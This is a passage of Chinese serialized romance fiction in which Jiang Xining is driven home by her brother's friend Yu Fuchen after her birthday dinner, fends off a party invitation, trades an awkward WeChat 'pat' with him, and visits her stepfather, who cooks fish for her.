记忆深处,从云层缝隙中一瞬倾泻的阳光,与餐厅的烛光重叠。于付忱抽出思绪,江熙宁已经许完第二个愿望。
等江熙宁许完愿望后,江印迅速许完第三个愿望,“我的愿望是,前两个心愿全部实现。”
江印已然决定毕业后来青城,往后江熙宁任何困难,都有他这个哥哥替她挡在前面,替她解决。
他的妹妹,只需要快快乐乐的就好。
江印需要一个充分让他发挥的舞台,让他能在短时间成为江熙宁的依靠。智颐科技是他的首选。
“先说好,你弟弟之前经营公司亏空的债务,在我技术入股之前你得处理好,我可不要刚成为合伙人还背个债。”
弟弟?
江熙宁听到这话眨了眨眼睛,路上江印提到的公司ceo,是于天文。
于天文创业时没得到于向华的支持,是于付忱个人出资,帮他成立了智颐科技。成立的两年里,钱是没少花,水花是一点没有。
于天文和画廊之间的事情,短短两天,先是冒出来个债主于付忱,现在还扯上个江印。
糖葫芦吗,一个串一个的。
……
“除了这个,还有什么条件。”于付忱手指在杯身上轻点,余光中认真吃蛋糕的人停下了动作。
江印:“其他的,我要再想想。”
“行。”于付忱一口答应。他认准的事情,不计代价。
时间很快到了十二点半,江印得去赶飞机。
三人走出餐厅,江熙宁看见自己的奔驰车旁停着一辆迈巴赫G900。对比之下,她的车像个巨鲸边上的小海豚。
江印见到于付忱的车后眼光一闪:“你提新车了?”
跃跃之心昭然若揭。
“可能会在这儿呆一段时间,有车方便。”于付忱淡然道,“怎么去机场,送你?”
“那感情好。”江印二话没说上了于付忱的迈巴赫G900,没有男人能够抵抗得了全球限量这四个字。
江熙宁看着一溜烟钻进豪车里的人,睁大眼,“你不要我送了?”
江印朝她挥手示意她也上车:“我兄弟送啊,你那车留着下次坐吧。”
……
江·嫌贫爱富·印!
见江熙宁站着没动,江印从副驾驶探出头,“你喝酒了,不能开车。”
一碗酒酿圆子,成了江印好大的借
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口。
江熙宁:“我可以找代驾。”
江印招手示意她赶紧上车:“我和老于还有些细节要在路上谈呢,你再墨迹我赶不上飞机了。”
“……”
凌晨的街道,路上车辆寥寥。
江熙宁原本想着,吃完饭终于能和于付忱各回各家,以后再也别见了。谁知道江印这么一出,她又上了于付忱这贼船。
啊不是,车。
她还意识到一个更为头痛的问题,送完江印回来,就剩下她和于付忱。
算了到时候找个理由,机场打车回来。
一路上江熙宁都在合眼装睡,完全不想理江印。
如果不是乔西娅的电话响起,她打算在车里当一个哑巴。
“宁宁,&*#??%”,乔西娅的声音淹没在震天响的酒吧音乐声里,江熙宁听不清她说什么。
“你那好吵。”
“现在能听清吗?”乔西娅似乎换了一个地方,但背景音依旧很嘈杂,她扯着嗓子音量才盖过吵闹声,“我说——没睡的话来Free喝酒,给你准备生日趴,保证全是帅哥!”
密闭的车厢里,乔西娅的声音显得格外清晰。
江熙宁耳朵微微发麻,她将手机拉开点距离。
“乔西娅?”
“嗯。”
坐在副驾的江印伸过手,示意她把手机给他,“我和她打个招呼。”
江熙宁递过去。
江印拿过手机,“乔西娅,你少带坏宁宁!”
突然变成了江印的声音,乔西娅那头愣怔片刻。
“养鱼的……”
乔西娅性格大大咧咧,爱交朋友,江印说她每天浪费时间在这种无意义的社交上所以上学的时候成绩年年吊车尾。乔西娅则说江印有智商没情商。
这对冤家见面就掐,不见面在电话里掐。乔西娅喝醉没人吵架的时候,没少打跨洋电话找江印骂架。有一次吵急眼了两人约着斗酒,结果是江印醉的不省人事,乔西娅拍下没喝完的满满当当的酒杯,留下他惨败的证据。
“养鱼的”称号就是那时候来的。
两人在电话里旁若无人的斗起嘴来。
江印捧着江熙宁的手机一路吵到目的地,直到安检口,“你等我下次回来的,我喝到你心服口服。”
挂了电话,他脸色铁青,深吸好几口气平复心情,江印把电话塞回江熙宁手里,警告她:“敢去试试。”
江熙宁见他这郁怒难消的样子,都不用知道两人电话里的内容就知道她哥铁定,一句没吵赢。
江熙宁不热衷喝酒的场合,但Free的老板是个喜欢艺术的藏家。在此刻画廊购买过不少新锐画作。酒吧开业时邀请过她多次,但当时她在筹备画展没赶上。
她还没想好去不去,不过先哄过江印再说。
“哥,我不——。”
“别想着阳奉阴违。”
“——去……”江熙宁声音细若蚊子。
要不说龙凤胎呢,她话还没说完,就被江印猜中了。
江印鼻哼一声,扭头和一旁低头处理手机信息的人说道,“老于,加入的条件我想好了。
天高皇帝远,没有千里眼,江印当下就地取人找了个现成能盯梢的,“条件就是,你帮我把妹妹送到家。”
9. 第 9 章
于付忱正在发着消息,不紧不慢的抬头,“不再考虑考虑?”
江印毫不犹豫:“不用。”
江熙宁不可置信的看向她哥,乔西娅这斗嘴的功力见长,他哥不仅没吵赢,还被气傻了。
鹬蚌相争,殃及池鱼,于翁得利。
江印加入于付忱的公司,明明可以提更多股份、薪酬的条件,却提了一个送她回家的要求。
“哥,这么晚就别麻烦人于总了。”江熙宁对这个安排下意识的拒绝。
江印双手插在胯骨,微眯起眼,“江熙宁,你是不是还挺想去乔西娅搞的劳什子八块腹肌局?”
在江印看来,江熙宁不想让于付忱送,是打定了背着他偷偷去。
江熙宁连忙摇头,江印向来担心她在感情上吃亏,不然也不会大学和李晋许在一起的时候连夜订票回来。眼下乔西娅为了气江印,连八块腹肌都往外捅了,他不火气飞窜才怪。
“垃圾桶里能有什么高档货?乔西娅这女人,没男人会死是不是!”
江熙宁软着声嘟囔,“我只是觉得叫个车回家挺方便的,没必要麻烦人于总嘛。”
说完笑盈盈的看向一旁的于付忱,左右她是拗不过江印,于付忱开口拒绝高低总是管用的,应该比她更想拒绝这桩不怎么美的差事。
“这么晚了,于总挺累了吧?”
娇甜的嗓音令人晃神,于付忱手指微顿,对上那双盈着水光的美眸。如果不是眼底藏都藏不住的小心思,他就信了她是真的体贴他。
“于总家和我家应该——”
“顺路。”
“……”
于付忱冷淡的目光浮动一瞬,像是对兄妹两人之间的争执有些不耐烦了,他低头看了眼腕表,出声提醒,“登机了。”
果然下一秒,广播开始播报登机广播。
进安检前,江印又不放心的叮嘱,“她惯会撒娇的,千万别心软帮她打幌子。”
而且没有人能抵得住。
江熙宁一瞬无语,她什么时候和外人撒过娇了,和谁也不会和他于付忱啊,她像是自首似的把双手往江印面前一伸,“哥,你干脆别回学校了,亲自押着我回去。”
江印拍了拍她的脑袋:“说好了实现你的生日愿望,我是那种说话不算数的人?”
早知道愿望这么有用,她该许愿以后别再碰到于付忱的。
算了,从机场到她家,不过半个多小时的车程,坚持一会儿就过去了。而且论坚持,于付忱才是最要忍的那一个,毕竟讨厌她还要委屈自己当个司机。
想到这,江熙宁没忍住弯了弯嘴角,莫名觉得也挺爽。
上了车,江熙宁脸朝窗户,侧靠在车椅上假寐,其实她毫无睡意,即使犯困,她也极少能在床以外的地方睡着。只是和于付忱单独在一个空间里干脆装睡。
闭着眼睛什么都不干,时间的流逝变得异常缓慢,对时间的感知也变模糊了。大概过了五分钟,也可能没有,江熙宁右拧着的脖子隐隐作酸。
装睡没想到这么需要技术。真睡着的人身体是放松的,不会太频繁动作。但一个清醒的人,长时间固定一个姿势,肌肉很快就疲劳僵硬了。
又努力维持两分钟,江熙宁的脖子开始僵硬,她实在忍不住换了个姿势。
很快,又累了。这一次,换姿势的时间更短。江熙宁有点后悔,没有金刚钻,真的别揽瓷器活。
若有似无的男香弥漫在江熙宁的鼻尖,淡淡的像是雾中森林的木香,带着清晨空气的凛冽。隔着眼帘,她意识到这会姿势该是换到了朝于付忱的方向了。
于付忱身上的香,挥发的物理距离特别有限,离得近才能闻到。在餐厅的时候江熙宁也有闻到,是市面上没有的香,她总觉得有些熟悉,好像在哪里闻过。
这时,手机连着响了三声。
几乎是同时,于付忱的也响起。
江熙宁立刻直起身打开消息,全身像打通任督二脉一般轻松。
江印拉了一个三人群,在群里发了两个表情包。
江印:【刚想起你俩是不是没微信啊?】
江印:【我不在,@于付忱,帮我照顾我妹妹啊!】
……
“江印?”于付忱突然开口问。
江熙宁回过神,“他拉了个群。”
“说了什么。”
说了什么,说了两人没微信,说了照顾她……
“他通知我们一声,上飞机了。”江熙宁自动忽略前两条,经过她口重复江印的话,总感觉像是提醒他江印的要求似的。
多奇怪。
江熙宁回复消息:【他在开车。】
江印:【嗯,要起飞了,我先关机。】
江熙宁:【一路平安。】
江印:【路上你陪老于说说话,他一向不熬夜,我怕他困。】
……
江熙宁第一次见江印,除了对自己之外,对第二
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个人这么好。
刚才和于付忱一板一眼的问答中断后,空气冻在那。
车里的气氛逐渐安静的诡异。
夜色正浓,机场高速上一片黢黑,毫无风景可看。江熙宁是个怕冷场尴尬的人,于付忱话本来也不多,又是那种没事莫挨老子的性格,自带冰冻buff。她在脑海里搜索了一遍该扯什么话题缓解下这死寂的气氛,江印的叮嘱适时的跳入脑海。
“你,困不困?”江熙宁出声问,“要不换我开,我送你到家后,再打车回。”
与其让她陪聊,不如直接让她开车来的更直接。
于付忱偏头,他开车时带上了眼镜,车外的清冷的月光印在镜片上,眼神像覆了一层白霜。
两秒后,他缓缓开口。
“我家?”
突入其来的反问让江熙宁愣怔片刻,别他妈误会,不是有意打探你的地址。
江熙宁解释:“我睡了一天,觉补够了。”
“那你挺能睡的。”
“……”
算了,这天还是别硬聊了。
几分钟后,车缓缓驶入了加油站。
“等我下。”
于付忱拿着手机下车。
在车里等时,乔西娅的电话打进来。
江熙宁下车走到远处去打电话。
“养鱼的走了吗?”乔西娅问。
“嗯。”
乔西娅吐槽道:“你哥是不是还拿你当小孩呢,成年人喝酒怎么了!”
“他管的是八块腹肌。”
“怎么了,只需八块腹肌泡我们,不许我们泡八块腹肌?”
“们字可以去了。”
乔西娅秒懂江熙宁话里的意思,“你不来了?不是,江印走了你怕什么。”
江熙宁无奈耸肩,他哥是走了,这不是还有眼线么。
她回身朝灯光明亮的便利店瞅了眼,没看见于付忱的身影。不知为何,江熙宁总感觉这人有千里眼,自己的一举一动都在他的视线里。
应该说是资本家盯紧自己钱包的目光。
“Free的老板知道是你生日,今日专门给你包场。我去接你,大好的生日怎么能浪费。”
“下回吧,我回家去补觉。”
若是她去了,保不齐让于付忱把她架走都是可能的,江熙宁莫名想起那天于付忱的几个保镖像架着犯人似的把衣佳惠从画廊带走。
怜香惜玉,不存在的。
10. 第 10 章
带着凉意的夜风,摆弄轻薄的衣角和后背,江熙宁忍不住打了个寒颤,思绪更清醒了些。她拢了拢被风吹鼓的衬衫,“于天文你联系他了吗?”
相比其他的,这件事是眼下更重要的,关系到回程的路上要不要和于付忱聊、怎么聊这个话题。
如果已经解决了,那于付忱肯定知道了,万事大吉。
如果没有,也和他解释一下,再表一表画廊的态度。
“联系了,没接电话。”乔西娅说,“我猜是觉得在你这丢了面子。我听池延说,他哥已经接管了他的公司,还没收了房子、车子、票子。”
于天文订画时付了一半的定金,剩下的尾款等展览后画廊交付画作才给付。他想付全款,画作立刻交付,乔西娅没同意。青年艺术家需要市场的曝光,而画廊则看重他们未来的潜力。对于像“此刻”这样新成立的画廊而言,名家的作品是稀缺的,愿意和“此刻”这样新成立不久的小画廊合作的更少,江熙宁一直在努力的做“见你”系列展,目的就是为了挖掘和合作未来的艺术家。
除此之外,乔西娅担心江熙宁这边的态度,于天文这豪举,放在行业里都是直接头条的程度,还是要先看看她的意思。但是那会儿江熙宁在家补觉,所以乔西娅先谈妥这个折中的办法。
现在,于天文的钱全部没收了,尾款指定是付不出来了。
乔西娅感叹,“华盈集团那么有钱,于天文在画廊花的这些对于华盈来说就是海里的水分子,不至于给收拾成这样吧。你这校友挺狠啊。”
“资本家都是貔貅,有口无肛,只进不出。”江熙宁说道。
于付忱接掌华盈后雷厉风行砍掉不赚钱业务,把一帮吸附集团没能力创收的老蛀虫清理掉,那些人里可是有不少于向华初创业时就跟着的人。
足以可见这人的心性和手段,不念情分,理性的可怕。
所以于天文的境遇,她也不觉得意外。况且于付忱怎么和于天文之间清算都是人自己家里的事儿,和她没关系。
但是……
于天文没退画,就有关了。
于付忱重金支持于天文创业,结果于天文花他的钱追人。追的还是他兄弟的前任……
“还有比这更绝的,那天酒会,你校友把于天文和衣佳惠直接押送去了医院。”
“去医院?”
“去醒酒啊!什么叫搬起石头砸自己的脚,衣佳惠这种就是。可惜了,没能看见衣佳惠这小绿茶当时是什么表情。这不值得晚上多喝两杯?”
江熙宁揉了揉眉心,听见乔西娅激动一嗓,“哦呦,八块腹肌们来了!这品相、这双开门,宁宁你赶紧来。”
隔着屏幕都能想象乔西娅眼睛泛着精光的样子。
“穿衣服看不到八块腹肌。”江熙宁打算结束了电话早点回车里去。天气预报说会小幅降温,到了夜里体感更加明显。四周没什么挡风的,风撩过眼睛,刺挠挠的。
江熙宁低头看了眼冻的有些酡红的脚趾,身后的光线暗淡下来,落下一片影子,淡淡的冷香混着夜晚的凉意铺天盖地的围拢上来。
随后,一只骨节修长的手伸在她面前,冷白的指骨抓握着一瓶牛奶。
顺着这手,向上看去。
前一秒还在便利店买东西的于付忱悄无声息出现在视野。
加油站不能打电话,刚才江熙宁走到加油站里照明灯能够辐射的最远位置。淡到发灰的白光覆在来人身上,像是笼着一层烟雾。
江熙宁惊愕,片刻后,接过牛奶。
是温热的。
“谢谢。”
“谢什么!”乔西娅以为是和她说的,加上有点儿酒精上头,开始满嘴跑火车,“只要我最好的姐妹喜欢,别说八块腹肌,十八块腹肌都给你安排的明明白白。”
“……”
江熙宁假装信号不好,火速掐掉电话。
“好了?”
看他也没买什么东西,除了给她的这瓶牛奶。
不过她现在确实挺需要温暖的东西,驱散体内的凉意。
“嗯。”于付忱点头,“回了个电话。”
江熙宁仰头,绸缎般的牛奶滑入喉咙和胃里,温暖醇香,她默默记下这个牌子,竟然挺好喝。
于付忱垂下眼睫,视线落在江熙宁挺翘的鼻上,她的鼻尖有玲珑圆润的凸起,显得俏皮又娇媚,再往下,是肉感红润的唇。
确实是是张扬的,夺目的,需要时刻提防旁人觊觎的那种漂亮。
于付忱转回视线,“睡前喝牛奶,有助于睡眠。”
???
江熙宁愣怔了下。
哦,给她买牛奶是在点她呢,让她早点睡。
刚才的电话内容还是被这家伙听到了喽。
江熙宁不认为自己有必要和他解释什么,但怕刚才的话让他误会。对亲弟都这么狠,对她这么一个无关紧要的人,不指望他能帮忙瞒着江印。
“我没答应去。”
她嗓音甜软,倒像的带着几分娇嗔的意味。转身打算往车里去的人停下脚步,漆黑的眼睫在夜色中垂下,就这么看着她。
似乎是在等她继续。
可她已经都说完了啊……
江熙宁抿了抿唇,只能画蛇添足的补了句,“八块腹肌随处可见吧。”
又不是名家名作,还得上赶着为了这凑热闹。想看,打开某绿书搜索,人均双开门,搓衣板。
“随处可见
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?”
于付忱望着她,表情淡淡的,但语气严肃的像是在质疑什么。
江熙宁承认这话她确实夸大了一点,即使有身材管理意识,但想要练出八块腹肌还是挺难的。
不过,亲口说的话,哪有自己又否定的道理?
当他人质疑自己时,我们也应敞开心扉,质疑他人。
她眼眸转动,反问道:“难道你没有?”
“……”
沉默震耳欲聋。
于付忱扭头走了。
两人一前一后离着些距离往回走,越往停车的位置走,光线越明亮锐利,在于付忱身上切割出明暗分明的色块。江熙宁走在后面,视线描摹着这个人的背影,微昂的头,端正挺拔的脊背。
整个人肃穆到一丝不苟。
再往下,是一双女人都会嫉妒的笔直的长腿。
江熙宁注意到于付忱黑色的裤管上有一块污渍,出现在仪表整洁到衣服都不带褶皱的于付忱的身上,有点另类。看起来像是碰到哪里沾上的灰印,清晰的波浪形纹理随着摆动张牙舞爪。
她忍不住又看了一眼,是一个前半掌的脚印,看这大小和形状——
江熙宁一顿,她抬起脚掌露出鞋底。
纹路一样。
在餐厅的那一脚,踢的不会是他吧?
……
难怪那会儿江印没反应,像个没触觉的人一样,原来压根就没踢到他!
……
察觉到后面的人停下脚步,前面的人回过头。
“怎么了?”于付忱问。
“你……”
江熙宁尴尬的摸了摸鼻尖,提醒的话终究是没说出口。不是她不好意思,而是刚才吹风着了凉,张嘴的一瞬她很想打喷嚏。但被于付忱这么盯着,鼻腔里那股冲动的气体竟然缩回去了。
没打出来。
气体带着刺挠的触手顺着鼻腔晚上涌,下一秒,两颗眼泪从左眼滑落。无事发生的右眼和对面的人面面相觑。
……
江熙宁包里带了纸巾,但包在车里。
几秒后,一条质地极好的手帕递给她。
“旧人旧事。”餐厅里的话窜入江熙宁的脑海。
突然像是回到了最后一次见面的那个场景。
但这一次没有什么李晋许,他也不是因为兄弟和女友分手来说教。
可能是掌心手巾柔软的触感,可能是胃里温热的牛奶在作怪,又或者,是她没了当时糟心的那种心境。
“比纸巾好用多了。”用完后,她不小心评价出来。
于付忱那张总是毫无表情的脸,在听到这句话后,闪过一丝稍纵即逝的情绪。
“什么?”
11. 第 11 章
比你当年递的纸巾好用多了。
江熙宁转动着牛奶盒上吸管,终究是没直接捅破最后一层窗户纸。她也学起于付忱犹抱琵琶半遮面的那套话术:“字面意思。”
不打算深交又有些过往交集的朋友,点到为止的这个界限就刚刚好。知道对方记得,不用再猜测对方是不是还记得自己,避免做出些尴尬之举。也知道彼此都不想提,免去就以前的事情寒暄。
回到车里,江熙宁主动提起画的事,“于天文在画廊购买的画,等签完解约协议会第一时间原路退回。”
于付忱握着方向盘,看着前方,“协议换三方。”
江熙宁想起刚才乔西娅电话里说于付忱没收于天文所有资产的事。签三方,意味着签约主体、账户信息等一并换成了于付忱,支付的定金到时候退回是退回到新的主体,也就是于付忱的账户,而不是于天文的。
这是打算一口汤都不给于天文留。
她对换三方没什么异议,便也没再说什么。这事落定,江熙宁才算真的放下心,剩下的一路,也没那么难熬了。
十分钟后,车停在了江熙宁的家门口。
江熙宁解开安全带,火速跳下车,“谢谢于总送我回来。”
“嗯。”于付忱点了点头,算是对她感谢的回应。
“那你开回去注意安全。”
江熙宁客套完,转身往家的方向走。机场这一通折腾,疲备感又隐约冒头,幸好没答应乔西娅去,她这会儿只想躺在床上,当一条躺平的咸鱼。
走出几步江熙宁听见身后的车子熄了火,回过头看见于付忱坐在车里,没急着走。
这不会是打算彻夜盯梢吧?
于付忱摘了眼镜,他近视度数不高只有一百度,但有点散光,晚上看资料或者开车时会戴。他捏了捏眉心,听见车窗被人扣响。
“笃笃笃——”
副驾驶的车窗开了一小半,G900的车身高,江熙宁踮着脚尖,撑长脖子,视线才勉强越过半开的车窗。驾驶位里的人闭眼靠在座椅上,肩膀平直,双手交握放置在腿上。即使是小憩,依旧是一副身姿挺拔的模样。
这是在补觉?
车窗缓缓下降。
怎么说也是他哥的朋友,而且又送她回来,逐客令到了嘴边又咽了下去。
“疲劳驾驶很危险,你不放心我的技术,我帮你找个代驾?”江熙宁诚恳建议。
江印说于付忱从不熬夜,对于不熬夜的人来说,晚睡的破坏力江熙宁有发言权,注意力不集中、思维混乱、行动迟缓……先前问他困不困的时候还绕开了话题。没同意让她开车,是担心她技术差,把他的新车给磕了碰了吧。
她不行,专业代驾总放心吧。
看见离开的人又折返回来,于付忱掀了掀眼皮。
“不用。”
干脆利落的否决了她的好意。
“……”
“我之前备画展熬夜熬多了,会在家补觉补很久。”
“嗯?”于付忱抬起眉梢,“所以?”
熟悉了戴眼镜时的清晰,摘下眼镜视物有些模糊,他眯起眼,凌厉的眉目看人的神色更是多了几分审视的意味。
落在江熙宁的眼里,这在她脸上逡巡的目光是想瞧出她这话有几分是真,是不是还有妄想八块腹肌的念头。
所以?
所以还要听她对着苍天大地发个誓是怎么的。
两点半了,玉皇大帝都该睡了,没空听凡人嘚嘚。
江熙宁刚想开口劝他真不用在她家门口蹲点时,远处的夜色中亮起两点光束,一辆宾利平稳驶来,在迈巴赫边上停下。
驾驶位上下来一个穿西装的年轻男子,人长的斯文周正,眉清目秀,眼下泛着两片新鲜的乌青。
虽然表情看起来挺精神,但难掩困意。
肖易发现老板到了宁城,变了。
以前的老板从不会在十二点后给他安排工作,因为老板极度自律,十二点一定会准时睡觉。
但今天他破天荒熬夜了。
“于总。”肖易走上前,毕恭毕敬的和自己的老板打招呼。
江熙宁认出是打错电话给于付忱那次,电话里的声音。现在想来,那天应该是这个助理。
所以不是盯梢,是在等助理来接?
江熙宁有些窘,随即又松一口气,万幸小助理出现时机刚刚好,万幸话没说出口。
于付忱仍旧看着她,好像还在等她的答案。
“所以……”
思忖片刻后,她找了个逻辑自洽的挽救话术,“我会让画廊总监,及时联系于总退画的。”
于付忱没吭声,江熙宁闪过一瞬这人不怎么满意的错觉。
这个解决态度,挺好的吧?
肖易规矩的站在一旁,听见江熙宁这么说,一个激灵困意去了两分。老板大晚上的没睡觉,原来是找画廊主理人商量退画来了。
而且效率十分高的解决了。
不愧是他老板。
连夜在擦小于总的屁股。
因为画廊事件,老板收回了小于总的所有资产,并下了命令安排小于总回集团本部打工还债。小于总联系不上老板,转而每天二十四小时盯着他,疲于应付小于总,肖易没来得及及时推进和画廊的工作。
这种小事让老板出马,是他的失职。
肖易赶紧上前递上他的名片,熟练的替老板屏蔽非重要人和事的接触,“后续的事宜,您可以联系我。”
流程上的小事,再让老板亲自对接,他这总助可以卷铺盖走人了。
江熙宁接过名片,肖易,华盈集团总裁助理。
看着肖易标准的职业微笑,江熙宁知道于付忱为什么那种神情看她了。
从公事的角度,以他的身份并不需要亲自处理后续细枝末节的琐事。
从私来看,他怎么可能轻易让人加他的联系方式。
“好的,肖助理。”
她求之不得。
于付忱还坐在车里,指尖在方向盘上轻点,默了片刻后侧过头,突然问了句。
“你家有几个车库?”
江熙宁低头将名片塞进包里,思绪没在转,下意识回答,“2个。”
排屋的一楼是两个并排的车库,因为她的车还停在餐厅,现在两个都是空着的。
“方便借用?”
“啊?”
江熙宁抬眼,哦了一声。助理开了一辆车过来,现在的情况是,2辆车,1个司机。她住的这一片
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附近都是住宅区,都是内部车位,没有公共停车场。这么大只的车,如果直接停在她家门口,直接占用了一个过路车道。
这么放着,物业恐怕明天一早就会来敲她家的门。
借用她家的车位,是眼下最好的解决办法。
等江熙宁再反应过来,于付忱已经启动车子,熟练的转了两圈方向盘,一把倒车入库。
“……”
“不白停。”于付忱从车上下来后,递给她一个礼物袋。
“不用了,停个车而已。”她倒也没那么小气,车位空着也是空着,还不至于收人停车费。
于付忱像是不想欠她的人情,没有给她再拒绝的机会,把礼物袋挂在了一旁的架子上,长腿一步上了宾利。
肖易见老板上车,立刻也跟上去,随后启动宾利车扬长而去。
“……”
-
江熙宁洗漱完换上睡衣,给乔西娅发去消息,让她帮忙谢谢Free的老板。
心意领了,但八块腹肌是真的无福消受了。
大概是今晚和于付忱的相处,耗费了她好大一部分心力,江熙宁沾到柔软的床完全不想动弹。
余光瞥见梳妆台上FancyCake家的蛋糕摆件,是刚才于付忱支付给她的“昂贵”的停车费。
FancyCake一直是高端定制路线,客户也都是优质群体。每年会推出一些礼品,比如这一类的小摆件送给VIP。
于付忱一定是他们家的SVIP吧,这三层蛋糕模型虽然尺寸比四勾的车厘子还小,却是用黄金做的。黄金制作出流动奶油效果,顶层是鎏彩和沙面工艺制作的粉色水晶层,精致绵密的细闪,极为别致。
江熙宁拿在手里观赏了一阵,应该是于付忱买蛋糕的时候,店里送了他一个。
乔西娅还在拼酒:【行吧,我也快撤了。没意思,这几个大肌肉块经看不经聊,脑子里装的只有废料。】
这话就很江印。
简单来说就是四肢发达,头脑简单,只知道蛮干。
江熙宁:【我哥脑子挺有料的,身材嘛,也很可以。】
乔西娅:【打住!】
乔西娅:【江印有和我有什么关系。】
江熙宁:【我就是顺便想到了,举个例子。^-^】
乔西娅:【我看李晋许的兄弟,八块腹肌也是妥妥的。】
乔西娅:【我也是举个例子,^-^】
江熙宁:【……】
江熙宁懒的理她,索性关掉对话框。
退出时,看见江印新拉的群,三个人的头像在小方块里挤成一个品字型。
于付忱的头像是张风景照。一片暗沉下来的青灰色天空,与之相接的是墨蓝色的海。月光的清辉碎银般洒在海面上,由上至下拉出长长的痕迹。照片拍的十分有艺术感,油画质地的光影、色调沉而不闷。
唯一美中不足的是构图,头像的尺寸让这张图被截掉了一大半,这月光若是从天到还再到近处的地面,就完美了。
这地儿看着有点儿熟悉,江熙宁想点开头像放大欣赏。
突然群里跳出提示。
你拍了拍于付忱。
江熙宁:!
手贱了!
12. 第 12 章
没来的及点击撤回,于付忱秒回了个问号过来。
江熙宁将自己埋在被子里打了八百个滚,直到将自己卷成法棍、呼吸不畅了才停下。
吐槽这鬼功能10086遍啊
啊啊啊。
明明轻微的点了一下而已。
……
江熙宁脑海里开始控制不住的延展于付忱会对此会产生的误解。
一、她对他有话要说。
可事实是,该说的话在车里、分开那会儿都说完了。
二、她想偷看他朋友圈。
偷看别人的朋友圈行为,通常让人理解为对对方有兴趣,想了解对方。
有兴趣
……
想了解对方
……
这一层解读冒出的瞬间,江熙宁猛的坐起,必须把这种可能性扼杀在摇篮里!
主动打招呼vs被认为是偷窥,当然是选前者。
发什么好呢?
江熙宁捧着手机,思绪飞转到擦出火星子。问问他到没到家?
不行!有点儿没话找话,过于“关心”。
时间一秒一秒的飞速流逝,这种情况越晚回复越容易让人误解。就在她感觉自己CPU快□□烧时,余光扫过桌上的蛋糕摆件。
有了!
她飞快地打字道:【于总的礼物很漂亮,谢谢。】
然后又特意加上【晚安】作为结束语。
点击发送。
按于付忱的性格,他大概也就回一句“客气”或“晚安”,这事儿就算翻篇了吧。
可指尖还没离开“发送”的按钮,手机却“哒哒”震动了两下。一排灰色小字像一条分割线横亘在聊天页面。
【于付忱拍了拍我的脑袋说你最漂亮。】
江熙宁眉心一跳。两条消息几乎同时跳上页面,她的略快一筹,零点几秒的时间差让她的消息在上,他的在下。形成了一段暧昧的对话。
当初“拍一拍”功能刚出来时,她和乔西娅互闹了一阵,她的这句文案正好对应乔西娅的“拍了拍我的屁股,你最Q弹!”
后来玩腻了,也懒得再改,没想到今天竟还能和于付忱呼应上!
而且还极其自然。
自然到,像是真的有只手在她头上拍了拍。只不过不是暧昧的,而是是毫不留情的、冷默疏离的,提醒她:别想多。
江熙宁盯着对话框无语了一阵,嘴角微微一撇,随后点进设置,把“拍了拍我的头”后面的文案改成了:【造成脑震荡,赔钱!】
改完后,她心满意足地切换到闹钟设置。昨晚答应了去姜家吃晚饭,江熙宁睡前细细算过时间:起床收拾、去餐厅取车,再到碧湖湾,前后差不多要两个小时。倒推后,她将闹钟定在了中午十二点。
第二天闹钟还没响,江熙宁被隔壁的动静吵醒。迷迷糊糊中,她听见有人在楼下走动、搬动东西,物品擦过地面的呲啦声不绝于耳,伴随着一个女人趾高气昂的指挥声。
江熙宁走到窗边,看见隔壁门口停着一辆货车,四五个搬运师傅正小心翼翼地在卸家具。边上站着个冷面薄唇的女人,看模样三十岁左右,双手抱胸紧跟在后面,不停的指点监工。
“喂,师傅,我这是进口家具,你小心点抬!磕了你赔得起吗?”
“鞋套师傅,哎呦,穿个鞋套再进门啊,别踩在我的波斯地毯上。”
尖细的嗓音比装修噪音还刺耳。
之前对方三番两次的违反装修时间的规定,江熙宁和物业投诉过两次。第一次物业解释隔壁住户是两位准新婚夫妇,房子着急装修是当新房用的。
理解他们需要赶工期,前半年的时间里再出现这种情况江熙宁没再计较,直到上次她再次投诉。
对方的装修周期似乎在无限期的拉长,开工时间也越来越提前,这已经严重干扰了她的休息。
善意和尊重是相互的,也是有底线的,第二次投诉物业后,物业张经理也不再和稀泥当老好人,反而先吐槽起了这家人。表示苦这家人久矣,他提起之所以这家装修一直不完工,装装停停,是因为这家的女主人太难搞。要求高、预算低,脾气差,动不动给工人气受。装修公司中途撂挑子了三家。
听到这个数字的时候,江熙宁无比震惊。今日见到理解了。师傅们有一点做的不满意了,免不了被她一顿数落和斥责,句句不离家具是进口的,碰了磕了赔不起的威胁话术。
江熙宁出门经过隔壁时,下意识地朝里面看了一眼。家具搬完意味着装修该结束了。只是不知道这噪音以后是不是也会彻底消停。
-
到了姜家,是小时候带江熙宁的许姨来开的门。
江熙宁住在姜家的七年,梁媛因为满世界参展经常不在家,一直是许姨照顾她。
“是宁小姐回来啦。”见到她回来,许姨格外高兴。
“许姨,我爸爸呢?”江熙宁笑吟吟的进屋,接过许姨递给她的专用拖鞋。后来梁媛带她搬出了姜家,但这个家里她的东西、她的房间姜海澎一直让保留着。
姜海澎对江熙宁的宠爱,不仅仅是因为梁媛爱屋及乌,还因为他一直都希望自己有个女儿,江熙宁的出现满足了他的愿望。他把她当成了亲生女儿般宠爱,在江熙宁的心理,也早认可姜海澎是她父亲,比她改口叫爸爸的时候还要早。
“姜先生在厨房。”
说完,许姨手挡在嘴边补了一句,“做满汉全席。”
江熙宁了然,莞尔一笑:“那肯定台上炒一盘,地下留一盘。”
姜海澎平日工作很忙,很少下厨,为数不多的几次大部分是为了江熙宁。
姜海澎隐约听到江熙宁的声音,从厨房里走出来,“是宁宁来了吗?”
看见是她后,笑道:“我就说我听见宁宁的声音了。”
“爸爸,你在做酸菜鱼?”江熙宁凑过去,看姜海澎穿着围裙,拿着刀沿着脊椎骨将鱼肉与骨头分离。这一步技巧、耐心、经验缺一不可,不然很容易鱼肉碎裂或留下骨刺。
宁城靠南,离海近水产品丰富。江熙宁至今记得,七岁回到宁城那年,外婆家的桌上经常有鱼。小时候她吃饭不仔细,或许也是霉运附体,连着三回被鱼刺卡住。加上老人家的土方法处理不当,引起感染和脓肿,让她喉咙痛了一个星期。
从那后,江熙宁有了吃鱼ptsd,有鱼刺的绝对不碰。
姜海澎知道后心疼不已,他亲自让大厨教他做鱼,剔骨、切片,每道工序他都亲手下刀,确保鱼肉里不会出现一根刺。
“也就这鱼还能勉强拿得出手。”姜海澎笑。
江熙宁帮他把掉下来的袖子往上挽了一截,“姜大师勉强拿的出手,就是我最爱吃的。”
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>姜海澎的笑意更深,“有段时间没做,生疏了。”
这是话里有话,让她多回来。
“怎么会,宝刀未老。”
姜海澎将她赶出厨房,“别在这儿呆着,去外面。女孩子不能沾油烟。”
江熙宁乖乖的出了厨房,去了后院花园。
